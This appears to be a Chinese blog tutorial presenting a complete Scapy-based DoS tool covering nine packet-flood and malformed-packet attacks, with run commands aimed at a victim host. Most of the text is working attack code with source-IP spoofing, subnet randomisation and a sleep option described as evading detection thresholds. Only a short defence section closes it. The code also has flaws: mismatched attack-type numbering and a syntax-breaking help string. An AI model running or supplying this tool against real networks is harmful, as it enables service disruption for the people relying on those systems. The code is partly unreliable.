前言
對產品做安全性測試方式有很多種,比如,利用硬件設備,缺點是價值昂貴,另一種就是使用軟件,軟件的缺點比不上硬件的性能優勢。
有一天,無意接觸到Python Scapy工具,開啟了網絡安全編程學習之路。引用官網文檔說明介紹它:Scapy 是一個 Python 程序,它使用戶能夠發送、嗅探、剖析和偽造網絡數據包。這種能力允許構建可以探測、掃描或攻擊網絡的工具。
有時候為了滿足測試要求,我們總要構造一系列測試條件,所以就有后文的ddos攻擊測試以及編寫一個測試腳本。
什么是DDoS 攻擊?
拒絕服務(DoS) 攻擊是一種惡意嘗試,旨在影響合法最終用戶對目標系統(如網站或應用程序)的可用性。 通常,攻擊者會生成大量數據包或請求,最終使目標系統不堪重負。 在發生分布式拒絕服務(DDoS) 攻擊時,攻擊者使用多個被破壞或受控的來源生成攻擊。
本文介紹的幾種DDOS攻擊,如果按照OSI分層,它們屬於基礎設施層(即網絡層和數據傳輸層)。如果按DDOS攻擊分類,將攻擊分為基礎設施層(第3層和第4層)和應用層(第6層和第7層)。
網絡層和傳輸層有最為常見的DDos攻擊,傳輸層包括SYN、UDP泛洪攻擊等,網絡層包括ICMP和ARP等,這些攻擊一般數量比較大,也最易使網絡或應用程序服務器的容量過載,但這些攻擊已經具有很清晰標識且易於檢測。
使用說明
其中:
- 攻擊者:使用Scapy工具偽造網絡數據包,攻擊指定的網絡設備,偽造網絡數據包中IPv4協議的Destination Address
- 受害者:被攻擊對象,偽造網絡數據包中IPv4協議的Source Address
部署測試環境
-
windows10
依賴第三方庫
DDos攻擊腳本:9_ddos_attack.py
import os.path
from argparse import RawTextHelpFormatter
from enum import Enum, auto
import scapy.all as scapy
import argparse
import sys
import random
import time
class attackType(Enum):
"""攻擊類型"""
arp_flood = auto()
tcp_land = auto()
tcp_syn_flood = auto()
udp_flood = auto()
udp_tear_drop = auto()
icmp_flood = auto()
icmp_unreachable = auto()
icmp_ping_of_death = auto()
icmp_smurf = auto()
class DDos_attack(object):
"""
一個簡單的協議棧DDOS攻擊輔助工具,借助於Scapy api:https://www.osgeo.cn/scapy/api實現偽造網絡包,目前已滿足9種網絡攻擊測試;
-- 支持命令行方式去配置構造報文以便完成簡單的測試
-- 支持回放本地的pcap報文
-- 支持已發送攻擊數據保存到本地
"""
"""
9種網絡攻擊協議:
arp_flood --> 1秒內收到超過100幀arp報文(不分請求和響應);
tcp_land --> TCP的syn報文中源和目的IP地址相同,一幀就報;
tcp_syn_flood --> 1秒內收到超過100幀TCP的syn報文;
udp_flood --> 1秒內收到超過1000幀UDP報文
udp_tear_drop --> IP分片出現重疊,一幀就報
icmp_flood --> 1秒內收到的icmp報文類型為8的請求幀數超過100幀;
icmp_unreachable --> 指主機在收到icmp報文類型為3的報文后,會被欺騙,記錄目的地信息,對於后續發往此目的地的報文直接認為不可達。
收到任何100幀就認為是攻擊
icmp_ping_of_death --> 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
icmp_smurf --> 指以攻擊目的ip向外發送廣播的icmp請求,同一個局域網內收到請求的設備會向攻擊目的地發送icmp響應。
我們以ICMP響應的個數來判斷,1秒內收到超過100幀ICMP 類型為0的echo reply
"""
def __init__(self,
dst_mac="ff:ff:ff:ff:ff:ff",
src_mac="7c:8a:e1:98:2a:4b",
dst_ip="127.0.0.1",
src_ip="127.0.0.1",
dst_port=8081,
src_port=8081,
fragment_offset=0,
identification=242,
icmpv4_type=0,
payload='',
flags=0,
attack_type=1,
debug=0,
pcapwrite=0,
filename=None,
iface=None,
srcIpRandom=0,
ipsrc=None,
ipdst=None,
one=0
):
"""
dst_mac:
目的主機的mac地址
src_mac:
發起主機的mac地址
dst_ip:
目的主機的IP地址
src_ip:
發起主機的IP地址
dst_port:
目的主機的端口(指定tcp,udp)
src_port:
發起主機的端口(指定tcp,udp)
fragment_offset:
偏移字段,數據分組(用於tcp協議)
icmpv4_type:
icmp協議的類型:
8 --> request
0 --> reply
3 --> unreach
payload:
應用層的內容(每個數據包都可帶上指定的內容)
TCP flags:
NULL = 0x00 = 0
FIN = 0x01 = 1
SYN = 0x02 = 2
RST = 0x04 = 4
PSH = 0x08 = 8
FIN + PSH = 0x009 = 9
SYN + PSH = 0x00a = 10
ACK = 0x010 = 16
SYN + ACK = 0x12 = 18
RST + ACK = 0x14 = 20
PSH + ACK = 0x18 = 24
SYN + PSH + ACK = 0x01a = 26
attack_type:
指定發送的網絡攻擊協議:
1: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀
2: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊
3: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
4: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply
5: udp_flood: 1秒內收到超過1000幀UDP報文
6: udp_tear_drop: IP分片出現重疊,一幀就報
7: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文
8: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報
9: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應);
debug:
打印輸出數據報文的詳細信息
-默認為0,即不打印;為1時打印
pcapwrite:
保存已發送數據報文到本地
-默認為0,即不輸出;為1時輸出
filename:
指定回放pcap文件或路徑
iface:
指定設配器,即指定網卡發起網絡攻擊
-在windows中,適配器有"以太網,以太網 2,以太網 3...."
srcIpRandom:
隨機生成源IP地址,即attack ip
-默認為0,默認的ip為10.10.10.10,為1時隨機生成一個ip地址
ipsrc, ipdst:
隨機生成指定的子網的ip地址
-默認為空,輸入格式x.x.x.x/x
:count:
指定發送數據包的數量
"""
self._count = 4
self.dst_mac = dst_mac
self.src_mac = src_mac
self.dst_ip = dst_ip
self.src_ip = src_ip
self.dst_port = dst_port
self.src_port = src_port
self.fragment_offset = fragment_offset
self.identification = identification
self.icmpv4_type = icmpv4_type
self.payload = payload
self.flags = flags
self.iface = iface
self.attack_type = attack_type
self.debug = debug
self.pcapwrite = pcapwrite
self.filename = filename
self.srcIprandom = srcIpRandom
self.ipsrc = ipsrc
self.ipdst = ipdst
self.one = one
@property
def func(self):
"""返回被調用對象"""
_attackType = int(self.attack_type) - 1
_func = list(attackType)[_attackType]
func_instance = getattr(self, _func.name)
return func_instance
def pcapWrite(self, func):
"""保存協議數據報文"""
file = "%s_n%s.pcap" % (func.__name__,
self.count)
path = './attack_packet'
if os.path.exists(path) is False:
os.makedirs(path)
pktdump = scapy.PcapWriter(os.path.join(path, file),
append=False,
sync=True)
return pktdump
def rdpcap(self):
"""調用scapy api完成報文回放"""
return scapy.rdpcap(self.filename)
def pcapFileIsExists(self):
"""檢查回放報文文件是否存在"""
if self.filename is None:
return 0
elif os.path.exists(self.filename) is False:
raise FileNotFoundError("No such file or directory: '%s'"
% self.filename)
return 1
def arp_flood(self):
"""ARP協議"""
packet = scapy.Ether(src=self.src_mac) / \
scapy.ARP(
hwsrc=self.src_mac,
psrc=self.src_ip, # who has xxxx ? Tell 'src_ip'
hwdst=self.dst_mac,
pdst=self.dst_ip # target
)
return packet
def tcp_land(self):
"""
and count > 1
and flags = 0x02 --> "SYN"
"""
if self.src_ip == self.dst_ip:
return self.tcp_syn_flood()
# self.src_ip, self.src_mac = self.dst_ip, self.dst_mac
self.src_ip = self.dst_ip
return self.tcp_syn_flood()
def tcp_syn_flood(self):
"""count > 100 and flags = 0x02"""
packet = scapy.Ether(dst=self.dst_mac,
src=self.src_mac) / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
id=self.identification) / \
scapy.TCP(sport=self.src_port,
dport=self.dst_port,
flags=self.flags) / \
self.payload
return packet
def udp_flood(self):
"""UDP泛洪攻擊"""
# self.dst_port = dr_port()
packet = scapy.Ether(dst=self.dst_mac) / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
id=self.identification) / \
scapy.UDP(sport=self.src_port,
dport=self.dst_port) / \
self.payload
return packet
def udp_tear_drop(self):
"""隨機生成一個標識"""
id = identi()
"""設置偏移字段"""
# offset_1 = 7 # 重疊
offset_1 = 8 # 正常
# offset_1 = 9 # 錯開
offset_2 = 15 # 重疊
"""構造payload"""
load1 = "A" * 56
load2 = "B" * 56
load3 = "C" * 56
"""構造數據"""
packet_1 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags='MF', proto=17, frag=0) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load1
packet_2 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags="MF", proto=17, frag=offset_1) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load2
packet_3 = scapy.Ether(dst=self.dst_mac) \
/ scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags=0, proto=17, frag=offset_2) \
/ scapy.UDP(sport=8081, dport=6319) \
/ load3
return list([packet_1, packet_2, packet_3])
def icmp(self):
"""定義icmp"""
packet = scapy.Ether() / \
scapy.IP(dst=self.dst_ip,
src=self.src_ip,
frag=self.fragment_offset) / \
scapy.ICMP(type=self.icmpv4_type) / \
self.payload
return packet
def icmp_flood(self):
self.icmpv4_type = 8
return self.icmp()
def icmp_unreachable(self):
"""type = 3 --> unreachable"""
self.icmpv4_type = 3
return self.icmp()
def icmp_ping_of_death(self):
"""fragment offset > 6250 (6250 * 8 = 50000)"""
self.fragment_offset = 6251
return self.icmp()
def icmp_smurf(self):
"""type = 0 --> reply"""
self.icmpv4_type = 0
return self.icmp()
@property
def count(self):
return self._count
@count.setter
def count(self, value):
if not isinstance(value, int):
raise ValueError('value must be an Integer!')
self._count = value
def g_time(func):
# 計時裝飾器
def inner(*arg, **kwarg):
s_time = time.time()
res = func(*arg, **kwarg)
e_time = time.time()
print('>>>耗時:{:.3f}秒'.format(e_time - s_time))
return res
return inner
def send(self):
"""
發送 數據包
"""
packet = self.func
try:
_p = packet()
if self.debug == "1":
if isinstance(_p, list):
for _ in _p:
_.show()
scapy.sendp(_p, iface=self.iface)
except OSError:
raise OSError("Realtek PCIe GBE family controller error(請檢查使用的網卡是否正確)!")
@g_time
def test_protocol(self):
"""
發送/回放 報文
"""
packet = self.func
pktdump = None
if self.pcapwrite == '1':
pktdump = self.pcapWrite(packet)
if self.pcapFileIsExists():
if self.debug == "1":
self.rdpcap().show()
scapy.sendp(self.rdpcap(), iface=self.iface)
print(">>>回放報文pcap成功!")
else:
for _ in range(0, self.count):
if self.pcapwrite == "1":
pktdump.write(packet())
if self.srcIprandom == "1":
self.src_ip = ip_address()
if self.ipsrc is not None:
self.src_ip = ip_random(self.ipsrc)
if self.ipdst is not None:
self.dst_ip = ip_random(self.ipdst)
"""規避1秒檢測"""
if self.one == "1":
if _ % 33 == 0:
print('>>>sleep 1s')
time.sleep(1)
self.send()
print(">>>[%s - %s]攻擊 - 發送數據包(只發):%s個" % (
self.attack_type,
self.func.__name__,
self.count
))
def ip_random(ipSubnetMask: str) -> str:
"""
按照子網隨機生成一個ip地址
輸入 192.168.1.0/24 , 隨機生成一個 192.168.1.0 ~ 192.168.1.255 范圍內
輸入 192.168.1.0/30 ,隨機生成一個 192.168.1.0 ~ 192.168.1.3 范圍內
輸入 192.168.1.252/30 , 隨機生成一個 192.168.1.252 ~ 192.168.1.255 范圍內
"""
if not ipSubnetMask.__contains__("/"):
raise ValueError("Must be is a ip/netmask(x.x.x.x/x) format!")
network = ipSubnetMask.split("/")
netmask = int(network.pop())
_listip = ".".join(network).split(".")
if len(_listip) != 4:
raise ValueError("Must be an ip in 32 subnet mask format")
ipbit = "" # 保存32bit,即ip轉換成32bit
for bit in _listip:
try:
if 0 <= int(bit) <= 255:
bit = int(bit)
ipbit += format(bit, '08b')
else:
raise ValueError("The input ip format does not match!")
except ValueError:
raise TypeError("Must be is an ip type, not string")
_bit = '0' + str(32 - netmask) + 'b'
_bitRandomIp = str(format(random.getrandbits(32 - netmask), _bit)) # 隨機生成 32 - 子網掩碼
bit32 = ipbit[:netmask] + _bitRandomIp # x.x.x.x/y --> 固定前(32 - y)位 + 隨機y = 32bit
def bitConvertInt(bit8: str) -> int:
return int(bit8, 2)
ip = ".".join(map(str, [bitConvertInt(bit32[:8]),
bitConvertInt(bit32[8:16]),
bitConvertInt(bit32[16:24]),
bitConvertInt(bit32[24:32])]))
return ip
def ip_address() -> str:
"""
隨機生成一個IP
"""
addr = [192, 168, 1, 55]
addr[0] = random.randrange(11, 197)
addr[1] = random.randrange(0, 255)
addr[2] = random.randrange(0, 255)
addr[3] = random.randrange(2, 254)
address = map(str, [addr[0], addr[1], addr[2], addr[3]])
return '.'.join(address)
def dr_port() -> int:
"""隨機獲取一個端口"""
return random.randint(1001, 65535)
def identi() -> int:
"""隨機獲取一個 id --> identification"""
return random.randint(1, 65535)
def tool():
"""
命令行參數
"""
attack_type_help = "attack type: \n" \
" 1: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應)\n" \
" 2: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報\n" \
" 3: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文\n" \
" 4: udp_flood: 1秒內收到超過1000幀UDP報文\n" \
" 5: udp_tear_drop: IP分片出現重疊,一幀就報\n" \
" 6: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀\n" \
" 7: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊\n" \
" 8: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊\n" \
" 9: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply\n" \
if len(sys.argv) == 1:
sys.argv.append('--help')
parser = argparse.ArgumentParser(description='9種網絡攻擊協議測試', formatter_class=RawTextHelpFormatter)
parser.add_argument('-t', '--attackType', type=int, default=1, help=attack_type_help)
parser.add_argument('-n', '--count', type=int, default=4, help='輸入發送報文的數量, (default:4)')
parser.add_argument('-d', '--dst_ip', type=str, default='19.19.19.19', help='destination address, '
'(default:19.19.19.19)')
parser.add_argument('-s', '--src_ip', type=str, default='19.19.19.11', help='source address, (default:19.19.19.11)')
parser.add_argument('-D', '--dst_mac', type=str, default='0c:73:eb:9c:26:a0', help='destination mac, '
'(default:0c:73:eb:9c:26:a0)')
parser.add_argument('-S', '--src_mac', type=str, default='7C:8A:E1:98:2A:4B', help='source mac, '
'(default:7C:8A:E1:98:2A:4B)')
parser.add_argument('-sport', type=int, default=8081, help='輸入源地址端口,(default:8081)')
parser.add_argument('-dport', type=int, default=8081, help='輸入目的地址端口,(default:8081)')
parser.add_argument('-f', '--flags', type=int, default=2, help='輸入tcp的flags, default:2(syn)')
parser.add_argument('--debug', type=str, default=0, help='當為1時,詳細輸出發送的每一幀報文, (default 0)')
parser.add_argument('-i', '--iface', type=str, default='以太網', help='以特定的適配器(網卡)發送數據報文, (default:以太網)')
parser.add_argument('--pcapwrite', type=str, default=0, help='當為1時,輸出pcap文件到當前目錄,(default 0)')
parser.add_argument('--filename', dest='filename', type=str, default=None, help='回放指定路徑的pcap文件, '
'例如: "./xxx.pcap", (default: 無)')
parser.add_argument('--srcIpRandom', type=str, default=0, help='當為1時,隨機生成源IP地址,(default 0)')
parser.add_argument('--ipsrc', type=str, default=None, help='輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)')
parser.add_argument('--ipdst', type=str, default=None, help='輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)')
parser.add_argument('--one', type=str, default=0, help='當為1時,每發100幀將休眠1s(default 0)')
arguments = parser.parse_args()
return arguments
def main():
"""主程序"""
arguments = tool()
attack_type = arguments.attackType
dst_ip = arguments.dst_ip
src_ip = arguments.src_ip
dst_mac = arguments.dst_mac
flags = arguments.flags
debug = arguments.debug
iface = arguments.iface
pcapwrite = arguments.pcapwrite
filename = arguments.filename
sport = arguments.sport
dport = arguments.dport
srcIpRandom = arguments.srcIpRandom
ipsrc = arguments.ipsrc
ipdst = arguments.ipdst
one = arguments.one
ddos = DDos_attack(dst_mac=dst_mac,
src_ip=src_ip,
dst_ip=dst_ip,
attack_type=attack_type,
src_port=sport,
dst_port=dport,
payload='ddos attack testing',
debug=debug,
flags=flags,
iface=iface,
pcapwrite=pcapwrite,
filename=filename,
srcIpRandom=srcIpRandom,
ipsrc=ipsrc,
ipdst=ipdst,
one=one)
ddos.count = arguments.count
ddos.test_protocol()
if __name__ == '__main__':
main()
調試腳本
參數說明
$# python .\9_ddos_attack.py
usage: 9_ddos_attack.py [-h] [-t ATTACKTYPE] [-n COUNT] [-d DST_IP] [-s SRC_IP] [-D DST_MAC] [-S SRC_MAC] [-sport SPORT] [-dport DPORT] [-f FLAGS] [--debug DEBUG] [-i IFACE]
[--pcapwrite PCAPWRITE] [--filename FILENAME] [--srcIpRandom SRCIPRANDOM] [--ipsrc IPSRC] [--ipdst IPDST] [--one ONE]
9種網絡攻擊協議測試
optional arguments:
-h, --help show this help message and exit
-t ATTACKTYPE, --attackType ATTACKTYPE
attack type:
1: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應)
2: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報
3: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文
4: udp_flood: 1秒內收到超過1000幀UDP報文
5: udp_tear_drop: IP分片出現重疊,一幀就報
6: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀
7: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊
8: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
9: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply
-n COUNT, --count COUNT
輸入發送報文的數量, (default:4)
-d DST_IP, --dst_ip DST_IP
destination address, (default:19.19.19.19)
-s SRC_IP, --src_ip SRC_IP
source address, (default:19.19.19.11)
-D DST_MAC, --dst_mac DST_MAC
destination mac, (default:0c:73:eb:9c:26:a0)
-S SRC_MAC, --src_mac SRC_MAC
source mac, (default:7C:8A:E1:98:2A:4B)
-sport SPORT 輸入源地址端口,(default:8081)
輸入tcp的flags, default:2(syn)
--debug DEBUG 當為1時,詳細輸出發送的每一幀報文, (default 0)
-i IFACE, --iface IFACE
以特定的適配器(網卡)發送數據報文, (default:以太網)
--pcapwrite PCAPWRITE
當為1時,輸出pcap文件到當前目錄,(default 0)
--filename FILENAME 回放指定路徑的pcap文件, 例如: "./xxx.pcap", (default: 無)
--srcIpRandom SRCIPRANDOM
當為1時,隨機生成源IP地址,(default 0)
--ipsrc IPSRC 輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)
--ipdst IPDST 輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)
--one ONE 當為1時,每發100幀將休眠1s(default 0)
ICMP flood攻擊
$# python 9_ddos_attack.py -t 1 -n 10 -d 19.19.19.19 -D 0c:73:eb:aa:bb:cc --pcapwrite 1 --srcIpRandom 1 --debug 1
解釋:
- -t 指定攻擊類型,這里1表示icmp flood,除此之外,還有arp、tcp、udp攻擊,詳細參考代碼注釋
- -n表示發包數量,即偽造n個網絡數據包,這里發包數量10個
- -d表示目的主機ip地址,即受害者的主機ip
- -D表示目的主機的mac地址,即受害者的主機mac地址
- --pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾
- --srcIpRandom 1 表示生成的每個偽造網絡包的源IP地址都不一樣
- --debug表示打印輸出每一個偽造網絡包的詳細信息,格式參考Scapy文檔
wireshark抓包實例如下:
UDP flood攻擊
$# python 9_ddos_attack.py --filename attack_packet/udp_flood_n499.pcap
解釋:
- --filename 指定回放的報文
示例這里已經准備好一份事先設定好udp報文
wireshark抓包實例如下:
TCP syn flood攻擊
$# python 9_ddos_attack.py -t 7 -n 10 --pcapwrite 1 --ipsrc 192.168.1.0/24
解釋:
- -t 指定攻擊類型,這里7表示tcp syn flood,除此之外,還有arp、icmp、udp攻擊,詳細參考代碼注釋
- -n表示發包數量,即偽造n個網絡數據包,這里發包數量10個
- --pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾
- --ipsrc表示偽造指定子網ip作為源IP地址
wireshark抓包實例如下:
ARP flood攻擊
$# python 9_ddos_attack.py -t 9 -n 10 -d 192.168.1.47 -i '以太網' --pcapwrite 1
解釋:
-
-t 指定攻擊類型,這里9表示arp flood,除此之外,還有tcp、icmp、udp攻擊,詳細參考代碼注釋
-
-n表示發包數量,即偽造n個網絡數據包,這里發包數量10個
-
-d表示目的主機ip地址,即受害者的主機ip,這里的目的ip地址是192.168.1.47
-
-i表示指定本地網絡適配器,即網卡的名稱,這里是網卡名稱為以太網
-
--pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾
打開本地生成的pcap文件
需要注意的地方:
- 偽造的網絡數據需指定網卡發送,腳本默認為“以太網”,如果存在多個網卡,它們可能命名為“以太網 2,以太網 3...."
防護思路
減少攻擊表面積
- 不要將一些非必要的應用程序或資源暴露出來,把暴露出來的端口、協議或應用程序關閉,盡量減少可能的攻擊點,讓我們集中精力執行攻擊緩解工作
- 使用防火牆或訪問控制列表來控制進來的流量
擴容
- 增大寬度容量或服務器容量,緩解大容量的攻擊